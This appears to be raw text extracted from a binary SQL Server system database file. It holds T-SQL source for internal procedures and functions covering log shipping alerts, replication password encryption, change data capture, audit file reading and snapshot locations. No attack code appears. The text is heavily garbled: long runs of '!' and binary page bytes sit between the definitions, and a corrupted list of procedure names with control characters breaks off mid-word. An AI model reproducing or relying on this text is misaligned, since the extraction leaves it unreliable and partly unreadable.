!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
/Lp0@ 	8create procedure sys.sp_check_log_shipping_monitor_alert 
as
begin
    set nocount on
    declare @retcode int
                ,@server sysname
                ,@database sysname
                ,@threshold_alert int
                ,@curdate_utc datetime
                ,@threshold int
                ,@elapsedtime int
                ,@latency int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    select @curdate_utc = getutcdate()
    --
    -- enumerate through the primary and secondaries
    -- which have crossed the thresholds
    --
    declare #hclsalert cursor local fast_forward for 
        (select primary_server
                ,primary_database
                ,isnull(threshold_alert, 14420)
                ,backup_threshold
                ,datediff(minute, last_backup_date_utc, @curdate_utc)
                ,cast(0 as int)
            from msdb.dbo.log_shipping_monitor_primary
            where threshold_alert_enabled = 1
                and datediff(minute, last_backup_date_utc, @curdate_utc) > backup_threshold)
        union
        (select secondary_server
                ,secondary_database
                ,isnull(threshold_alert, 14421)
                ,restore_threshold
                ,datediff(minute, last_restored_date_utc, @curdate_utc)
                ,isnull(last_restored_latency,0)
            from msdb.dbo.log_shipping_monitor_secondary
            where threshold_alert_enabled = 1
                and (datediff(minute, last_restored_date_utc, @curdate_utc) > restore_threshold
                        or last_restored_latency > restore_threshold))

    open #hclsalert
    fetch #hclsalert into @server, @database, @threshold_alert, @threshold, @elapsedtime, @latency
    while (@@fetch_status != -1)
    begin
        --
        -- log error that raises alerts
        --
        raiserror(@threshold_alert, 16, 1, @server, @database, @threshold, @elapsedtime, @latency)
        fetch #hclsalert into @server, @database, @threshold_alert, @threshold, @elapsedtime, @latency
    end
    close #hclsalert
    deallocate #hclsalert
    --
    -- all done
    --
    return 0
end
0' 8--
-- Name: 
--	fn_replencryptver4
-- 
-- Description: 
--	This function accepts a password as input and encrypts
--	the value using the server provided crypto based on the 
--	master key created in the local database. The encryted
--	password is also given an 8 byte prefix to identify it 
--	as version 4 crypto.
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	None as this procedure is not public.
--
CREATE FUNCTION sys.fn_replencryptver4
(
	@password nvarchar(524)
)
RETURNS nvarchar(524)
AS
BEGIN
	DECLARE @retcode int,
			@crypto_v4_first_char nchar(1),
			@crypto_v4_second_char nchar(1),
			@crypto_v4_third_char nchar(1),
			@crypto_v4_fourth_char nchar(1)
			
	SELECT @crypto_v4_first_char = NCHAR(0xa989),
			@crypto_v4_second_char = NCHAR(0xa888),
			@crypto_v4_third_char = NCHAR(0xa383),
			@crypto_v4_fourth_char = NCHAR(0xa282)
	
	IF IS_MEMBER('db_owner') = 1
		AND EXISTS(SELECT *
				FROM sys.symmetric_keys 
				WHERE name = '##MS_DatabaseMasterKey##')
		AND EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = 'SQLSERVER_REPLICATION')
	BEGIN
		SELECT @password = @crypto_v4_first_char 
							+ @crypto_v4_second_char 
							+ @crypto_v4_third_char 
							+ @crypto_v4_fourth_char
							+ CONVERT(nvarchar(524), ENCRYPTBYKEY(KEY_GUID('SQLSERVER_REPLICATION'), @password))
	END
		
	RETURN @password
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`V<)
OI0IC Q8
create procedure sys.sp_kill_filestream_non_transacted_handles
(
    @table_name nvarchar(776) = NULL,
    @handle_id int = -1
)
as
begin
    set nocount    on
    declare @returncode int
    declare @dbid int = db_id()
    declare @hasAccess bit

    -- Check permissions, must have database control permissions to kill handles.
    -- Members of the sysadmin server role and those with SERVER CONTROL have implicit 
    -- DATABASE CONTROL access.
   set @hasAccess = 
       has_perms_by_name(quotename(db_name()), 'DATABASE', 'CONTROL')
    if @hasAccess = 0 OR @hasAccess IS NULL
    begin
        raiserror(33428,-1,-1,@dbid)
        return 1
    end

    EXEC @returncode = sys.sp_kill_filestream_non_transacted_handles_internal @table_name, @handle_id

    return @returncode
end
0(E 88Zt{C0aL@ 8create procedure sys.sp_scriptsubconflicttable (
    @publication sysname
    ,@article sysname
	,@alter bit = 0 -- if 1 script alter, otherwise script create
    ,@usesqlclr bit = 1
    )
as
begin
    declare @retcode int

    --
    -- Security Check.
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if (@@error != 0 or @retcode != 0)
        return (1)

    --
    -- Parameter Check: @publication.
    -- The @publication cannot be NULL and must conform to the rules
    -- for identifiers.
    --
    if (@publication IS NULL)
    begin
        raiserror (14043, 16, 2, '@publication', 'sp_scriptsubconflicttable')
        return (1)
    end
    exec @retcode = sys.sp_validname @publication
    if (@retcode != 0)
        return (1)

    --
    -- Parameter Check: @article.
    -- The @article cannot be NULL and must conform to the rules
    -- for identifiers.
    --  
    exec @retcode = sys.sp_MSreplcheck_name @article, '@article', 'sp_scriptsubconflicttable'
    if (@@error != 0 or @retcode != 0)
        return (1)

    if LOWER(@article) = 'all'
    begin
        raiserror (14032, 16, 2, '@article')
        return (1)
    end

    --
    -- now call the SP to generate the script
    --
    exec @retcode = sys.sp_MSmakeconflicttable @article = @article, @publication = @publication, @creation_mode = 1, @is_debug = 0, @alter = @alter, @usesqlclr = @usesqlclr
    return @retcode
end
0C>]@ 8CREATE PROCEDURE sys.sp_log_repository_message
(
	@MessageType	nvarchar(100),
	@Message		nvarchar(2000),
	@database		sysname
)
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @cmd			nvarchar(max)
	DECLARE @MessageTypeID  int
	DECLARE @retcode		int

	SELECT @MessageTypeID = case             WHEN @MessageType = N'Success' THEN 0
	                               ELSE case WHEN @MessageType = N'Failure' THEN 1
	                               ELSE                                         -1
										end				
	                        end         

	SELECT @cmd = N'INSERT INTO ' + quotename(@database) + N'.dbo.MetadataCapture_Log(MsgType, MsgTypeID, Time, Message) VALUES(''' + REPLACE(@MessageType, '''', '''''') + N''', ' 
	              + CONVERT(NVARCHAR(10),@MessageTypeID) + N', ''' + CONVERT(NVARCHAR(30),GETDATE()) + N''', ''' + REPLACE(@Message, '''', '''''') + N''')'
	
	EXEC @retcode = sys.sp_executesql @cmd
    
	RETURN(0)
	
END
0v@ 8CREATE VIEW sys.dm_tran_version_store AS
	SELECT *	
	FROM OpenRowset(TABLE DM_TRAN_VERSION_STORE)
0oV U8
create procedure [sys].[sp_cdc_dbsnapshotLSN]
(
	@db_snapshot sysname,
	@lastLSN binary(10) = null output,
	@lastLSNstr varchar(40) = null output
)
as
begin
	declare @command nvarchar(max), @str nvarchar(1000), @begin_char int
		,@lsn binary(10), @lsn_str nvarchar(40), @db_snapshot_quoted nvarchar(1000)
	
	declare @temp table(parentObject nvarchar(255),Object nvarchar(255),field nvarchar(255),value nvarchar(255))
	
	-- Verify that the database snapshot exists
	if not exists (
		select name from sys.databases
		where name = @db_snapshot
		and source_database_id is not null)
	begin
		select @db_snapshot_quoted = quotename(@db_snapshot)
		raiserror(22862, 16, -1, @db_snapshot_quoted)
		return 1
	end		 
	
	set @lsn = 0x00
	set @lsn_str = null
	set @command = N'dbcc dbtable(' + quotename(@db_snapshot) + N') with tableresults, no_infomsgs'
	
	insert into @temp exec( @command ) 
		select @str = value from @temp where field = N'm_splitPoint';
	
	if @str is not null
	begin	
		select @begin_char = CHARINDEX('(', @str)
		select @lsn_str = SUBSTRING(@str, @begin_char + 3, 8) + SUBSTRING(@str, @begin_char + 12, 8)
			+ SUBSTRING(@str, @begin_char + 21, 4)
		select @lsn = sys.fn_cdc_hexstrtobin(@lsn_str)
	end
	
	set @lastLSN = @lsn
	set @lastLSNstr = @lsn_str		
   
	return 0	
end
0.K@ P8j
h}>~^L|!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
	$y`	<+
N'"0n 8create function [sys].[fn_cdc_compute_low_water_mark]
(
	@retention	bigint
)
returns binary(10)
with returns null on null input
as
begin
	declare @low_water_mark_time datetime
		,@low_water_mark binary(10)
		,@last_commit_time datetime
		
	-- The computation to determine which change table entries are to
	-- be removed uses the high end of the change data capture timeline
	-- rather than current time as its base. This means that even when 
	-- the capture process is behind in its processing, data for the
	-- desired period of time is retained.
	set @last_commit_time = (select max(tran_end_time) from cdc.lsn_time_mapping)
		
	-- Compute the time associated with the new low water mark
	-- based upon the commit time associated with the last transaction 
	-- processed by the capture process.
	set @low_water_mark_time = dateadd(minute, -@retention, @last_commit_time)
	
	-- Now, recompute the low water mark time by first determining the largest
	-- lsn value in [cdc].[lsn_time_mapping] table that has an associated
	-- datetime value that is less than or equal to the current value of 
	-- @low_water_mark_time and then take the commit time associated with that
	-- LSN value.
	select @low_water_mark_time = sys.fn_cdc_map_lsn_to_time
		(sys.fn_cdc_map_time_to_lsn('largest less than or equal',@low_water_mark_time))
	
	-- Finally, determine the smallest LSN value having this same commit
	-- time. This insures that all entries sharing the low water mark time
	-- as their commit time are retained in the change tables and not just
	-- the one with the maximum LSN value.
	select @low_water_mark = min(start_lsn) from 
        [cdc].[lsn_time_mapping] where tran_end_time = @low_water_mark_time

	return @low_water_mark	
end
0M?@ 8create procedure sys.sp_MSevaluate_change_membership_for_row (@tablenick int, @rowguid uniqueidentifier = NULL, @marker uniqueidentifier = NULL) as
begin
    declare @membership_eval_proc_name nvarchar(130), @retcode int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick=@tablenick
    if @retcode<>0 or @@ERROR<>0
        return 1

    -- get the ArticleChangeMembershipEvaluation proc for this article in all publications.
    declare membership_eval_proc_names CURSOR LOCAL FAST_FORWARD FOR select membership_eval_proc_name
    from dbo.sysmergepartitioninfoview
    where nickname = @tablenick and membership_eval_proc_name is not null and membership_eval_proc_name <> ' '
    FOR READ ONLY
    
    open membership_eval_proc_names

    fetch next from membership_eval_proc_names into @membership_eval_proc_name

    while (@@fetch_status <> -1)
    begin
        select @membership_eval_proc_name = 'dbo.' + @membership_eval_proc_name
        
        if @rowguid is not null
        begin
			exec @retcode = @membership_eval_proc_name @rowguid = @rowguid
			if @@error <> 0 or @retcode <> 0
				goto Error
		end
		else if @marker is not null
		begin
			exec @retcode = @membership_eval_proc_name @marker = @marker
			if @@error <> 0 or @retcode <> 0
				goto Error
		end
		else
		begin
			exec @retcode = @membership_eval_proc_name
			if @@error <> 0 or @retcode <> 0
				goto Error
		end
        
        fetch next from membership_eval_proc_names into @membership_eval_proc_name
    end

    close membership_eval_proc_names
    deallocate membership_eval_proc_names

    return 0
    
Error:
    close membership_eval_proc_names
    deallocate membership_eval_proc_names

    return 1
end
0>@ X8create procedure sys.sp_MSget_article_processing_order @nickname int, @pubid uniqueidentifier, @processing_order int output
as
    set @processing_order = 0
    
    select @processing_order = processing_order from dbo.sysmergearticles
    where pubid = @pubid and nickname = @nickname
    
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!wp`
$<
J0` d8CREATE FUNCTION sys.fn_get_audit_file (
	@file_pattern nvarchar(260), 
	@initial_file_name nvarchar(260) = NULL, 
	@audit_record_offset bigint = NULL)
RETURNS table
AS
	RETURN SELECT 	
		event_time, 
		sequence_number, 
		action_id, 
		succeeded, 
		permission_bitmask, 
		is_column_permission, 
		session_id, 
		server_principal_id, 
		database_principal_id, 
		target_server_principal_id, 
		target_database_principal_id, 
		object_id, 
		class_type, 		
		session_server_principal_name, 
		server_principal_name, 
		server_principal_sid, 
        database_principal_name, 
        target_server_principal_name, 
        target_server_principal_sid, 
        target_database_principal_name, 
        server_instance_name, 
        database_name, 
        schema_name, 
        object_name, 
        statement, 
        additional_information, 
        file_name, 
        audit_file_offset,
        user_defined_event_id,
	 user_defined_information     
	FROM OpenRowSet(TABLE FN_GET_AUDIT_FILE, @file_pattern, @initial_file_name, @audit_record_offset)
0h 	8create procedure sys.sp_execresultset_nvarcharmaxrows
(
    @cmd     nvarchar(max),        -- Command that will return a resultset to concat and execute
    @debug    bit = 0                -- Display debug information and resultset query (no exec)
)
as
begin
    set nocount on

    declare    @scriptText     nvarchar(max),
        @maxIndex        bigint,
        @rowIndex        bigint

    declare @q1 nvarchar(max)

    select @q1 = N''
    select @scriptText     = N''

    -- load a local tmp table with the resultset based off of the cmd provided
    -- we also attempt to change the database context before execing the cmd
    declare @MSrepl_exec_script table (orderCol int identity(1,1) primary key clustered, scriptText nvarchar(max))
    if @@error <> 0
    begin
        goto Error
    end
    
    -- For debugging generated procs. Create the table MSmerge_debug_objects in the current database
    -- create table MSmerge_debug_objects (orderCol int identity(1,1) primary key clustered, scriptText nvarchar(max))
    if object_id('MSmerge_debug_objects', 'U') is not NULL
    begin
       insert into MSmerge_debug_objects(scriptText) exec(@cmd)
	end

    insert into @MSrepl_exec_script(scriptText) exec(@cmd)
    if @@error <> 0
    begin
        goto Error
    end
    
    -- get the max value inserted in the identity col for 
    -- @MSrepl_exec_script table and set the rowIndex = 1
    select @maxIndex = max(orderCol),
            @rowIndex = 1
        from @MSrepl_exec_script
    
    -- retrieve the current scriptText row 
    select @scriptText = isnull(scriptText, N'')
        from @MSrepl_exec_script
        where orderCol = @rowIndex

    while (@rowIndex <= @maxIndex)
    begin
       
        select @q1 = @q1 + @scriptText + N' '
            
	    -- increment the row position counter
        select @rowIndex = @rowIndex + 1

        -- retrieve the current scriptText row
        select @scriptText = isnull(scriptText, N'')
            from @MSrepl_exec_script
	        where orderCol = @rowIndex
    end
    
    if @debug = 0
    begin
        
		exec(@q1)
		if @@error <> 0
		begin
	        goto Error
	    end
	end
    else
    begin
		-- print out debug info
		
		select '@q1' = datalength(@q1)/2
		
		select @q1
    end
    
    return 0
Error:
    return 1
end
0o J8create function [sys].[fn_cdc_format_type]
(
	@source_object_id int,
	@column_id int
)
returns nvarchar(1000)
with returns null on null input
as
begin
	return [sys].[fn_gettypestring](@source_object_id, @column_id, 1, 0, 0, 0, 1, 0, 0, 0, 0) -- LUDT + Spatial merge conflict trigger
end
0[ g8create procedure sys.sp_MSrefreshdynamicsnapshotlocations (
    @pubid uniqueidentifier
)
as
    set nocount on

    -- This should not be a public proc
    declare @retcode int
    declare @distributor sysname
    declare @distribdb sysname
    declare @rpcsrvname sysname
    declare @distproc nvarchar(4000)
    declare @publisher sysname
    declare @publisher_db sysname
    declare @publication sysname
    declare @suser_sname sysname
    declare @host_name sysname
    declare @partition_id int
    declare @dynamic_snapshot_location nvarchar(255)

    --exec @retcode = sys.sp_MSreplcheck_publish
    --if @@error<>0 or @retcode<>0
    --    return 1
        
    select @publisher = upper(publishingservername())
    select @publisher_db = db_name()
    select @publication = name from dbo.sysmergepublications where pubid = @pubid
    if @publication is NULL
    begin
        raiserror (21402, 11, -1, '@pubid')
        return (1)
    end

    -- Get distributor information for RPC
    exec @retcode = sys.sp_MSrepl_getdistributorinfo @distributor = @distributor output,
                                           @distribdb = @distribdb output,
                                           @rpcsrvname = @rpcsrvname output
    if @@error <> 0 or @retcode <> 0
        return (1)

    select @distproc = quotename(rtrim(@rpcsrvname)) + N'.' + quotename(@distribdb) + N'.' + N'dbo.sp_MSchangedynsnaplocationatdistributor'

    declare hDynamicSnapshotsCursor cursor local fast_forward for
        select partition_id, dynamic_filter_login, dynamic_filter_hostname
          from MSdynamicsnapshotjobs 
          where pubid = @pubid and computed_dynsnap_location = 1
    if @@error <> 0
        return 1

    open hDynamicSnapshotsCursor 
    if @@error <> 0
        return 1

    fetch hDynamicSnapshotsCursor into @partition_id, @suser_sname, @host_name
      
    begin transaction
    save transaction sp_MSrefreshdynsnaplocation

    while (@@fetch_status <> -1)
    begin
        exec @retcode = sys.sp_MSgetpartitionsnapshotfolder 
                                    @publication, 
                                    @suser_sname, 
                                    @host_name,
                                    @partition_id,
                                    @dynamic_snapshot_location output
        if @@error <> 0 or @retcode <> 0
        begin
            raiserror(20631, 16, -1)
            goto CursorFailure
        end
                                    
        exec @retcode = @distproc 
            @publisher = @publisher,
            @publisher_db = @publisher_db,
            @publication = @publication,
            @dynamic_filter_login = @suser_sname,
            @dynamic_filter_hostname = @host_name,
            @dynamic_snapshot_location = @dynamic_snapshot_location
        if @@error <> 0 or @retcode <> 0
            goto CursorFailure

        update MSdynamicsnapshotjobs 
            set dynamic_snapshot_location = @dynamic_snapshot_location
            where pubid = @pubid and partition_id = @partition_id
        if @@error <> 0 
            goto CursorFailure
            
        fetch hDynamicSnapshotsCursor into @partition_id, @suser_sname, @host_name
    end

    commit transaction
    close hDynamicSnapshotsCursor
    deallocate hDynamicSnapshotsCursor		  
    return 0
    
CursorFailure:

    rollback transaction sp_MSrefreshdynsnaplocation
    commit transaction
    close hDynamicSnapshotsCursor
    deallocate hDynamicSnapshotsCursor
    raiserror(20726, 16, -1)
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!C`@
4e" 
0kBZ&!E(fn_IHgetpubid&42fn_IHgettypestring&6&fn_IHiscolpk&bLfn_IHPublicationIsTransactional&;:fn_IHpublished_columns&VG*fn_IHview_name&8fn_is_signable_object&Fu6fn_IsBitSetInBitmask&,fn_ispkcomputed&],fn_isrolemember&E.fn_isvalidhexstr&*M?*fn_isxmlcolumn&F<fn_listextendedproperty&
><fn_MSconstraint_columns&1ZBfn_MSgetlogshippingjobname&Rfn_MSgetlogshippingmoniterlinkname&ҢBfn_MSgetmaxbackcompatlevel&*fn_MSguidtostr&:fn_MSis_col_replicated&6fn_MSmerge_Fix80Colv&]Dfn_MSmerge_getartprocsuffix&08fn_MSmerge_GetPALRole&lJfn_MSmerge_getqualifiedobjname&z4fn_MSrepl_checktype&9>4fn_MSrepl_dependUDT&4fn_MSrepl_editionid&:Hfn_MSrepl_getdatatypemappings&2fn_MSrepl_getpubid&
Jfn_MSrepl_is_workgroup_edition&3`2fn_MSrepl_isdistdb&=l{Bfn_MSrepl_ismergepublished&L=8fn_MSrepl_ispublished&9BN@fn_MSrepl_istranpublished&>6fn_MSrepl_sourcetype&D5!0fn_MSrepllinkname&F @fn_MSrepltranparsecmdtype&
2fn_MSsharedversion&6fn_MStran_foreignkey&8.fn_MStran_unique&ZDfn_MSvalidatelogshipagentid&h@fn_MSxe_read_event_stream&p0fn_my_permissions&'Dfn_ORAenumarticlecolumninfo&tji0fn_ORAgetbasetype&.fn_ORAsourceinfo&>fn_peerconflicttablename&0fn_PhysLocCracker&r4fn_PhysLocFormatter&Hfn_procedure_params_90_rowset&%aJfn_procedure_params_90_rowset2&uDfn_pubservernamefromsyncmgr&&b6fn_quotefourpartname&S2fn_remote_catalogs&%FLDfn_remote_column_privileges&}0fn_remote_columns&&:fn_remote_foreign_keys&d0fn_remote_indexes&A:fn_remote_primary_keys&$>fn_remote_provider_types&(+2fn_remote_schemata&ў6fn_remote_statistics&6Bfn_remote_table_privileges&.fn_remote_tables&i,fn_remote_views&;}Jfn_removeparameterwithargument&4fn_repl_hash_binary&τ\:fn_repl32bitstringhash&nNfn_replaceinvalidfilenamesymbols&f:fn_repladjustcolumnmap&*\fn_MSarticle_allows_DML_at_this_replica&͝>fn_MSmerge_nicknamefound&6j<fn_MSmerge_islocalpubid&wzr<fn_MSmerge_islocalsubid&"Lfn_MSmerge_mightneedrowtrackbcp&0Rfn_MSmerge_hasdownloadonlyarticles&Z_m>fn_MSmerge_isrepublisher&Ffn_MSmerge_get_syncview_name&gFfn_MSrepl_map_resolver_clsid&㸀Lfn_MSdetermine_related_articles&աLfn_MSpublication_uses_host_name&08fn_MSisfilteredcolumn&F.fn_MapSchemaType&ƈ.fn_MSgetrowguids&0Dfn_MSgetrowguidvirtualtable&nVWdfn_MSget_dynamic_filter_login_with_hostname&;Hfn_MSget_dynamic_filter_login&PFfn_MSgeneration_downloadonly&>fn_MSvector_downloadonly&5Zfn_MSarticle_has_downloadonly_property&'$fn_MapColid&WFfn_numberOf1InBina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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z,tH

p
2
^n$

x
:

		Lh	(	lN0h0r@\zfdN`<&Z,h&J.(V*f,`
1Z"L	!
VMM&+H$sp_cdc_scan&];@sp_cdc_start_job_internal&BJsp_cdc_verify_capture_instance&ɲ>sp_cdc_verify_index_name&DG<sp_cdc_verify_role_name&_86sp_certify_removable&@sp_change_agent_parameter&2<sp_change_agent_profile&\sp_change_log_shipping_primary_database&&`sp_change_log_shipping_secondary_database&1^sp_change_log_shipping_secondary_primary&Q;Psp_change_subscription_properties&ZPsp_change_tracking_waitforchanges&8sp_change_users_login&8%@.sp_changearticle&%Jsp_changearticlecolumndatatype&.sp_changedbowner&k:sp_changedistpublisher&8<sp_changedistributiondb&@Hsp_changedistributor_password&Hsp_changedistributor_property&l>sp_changelogreader_agent&&`vJsp_changemergepullsubscription&g6sp_changeobjectowner&OM6sp_changepublication&v	Hsp_changepublication_snapshot&Rφ:sp_changeqreader_agent&vTsp_changereplicationserverpasswords&Y4sp_changesubscriber&r$SFsp_changesubscriber_schedule&8sp_changesubscription&Fsp_changesubscriptiondtsinfo&^^2sp_changesubstatus&jmFsp_check_constbytable_rowset&d+Hsp_check_constbytable_rowset2&uDsp_check_constraints_rowset&Fsp_check_constraints_rowset2&N@sp_check_for_sync_trigger&Tsp_check_log_shipping_monitor_alert&W6Dsp_check_publication_access&Ǥ2sp_check_removable&>Dsp_check_removable_sysusers&X8sp_check_sync_trigger&>sp_checkinvalidivarticle&6sp_checknojobsinmsdb&'Hsp_CheckOracleAdminPrivileges&Fsp_checkOraclepackageversion&<sp_checkusernotloggedin&6Dsp_clean_db_file_free_space&{
,:sp_clean_db_free_space&^Lsp_cleanup_log_shipping_history&
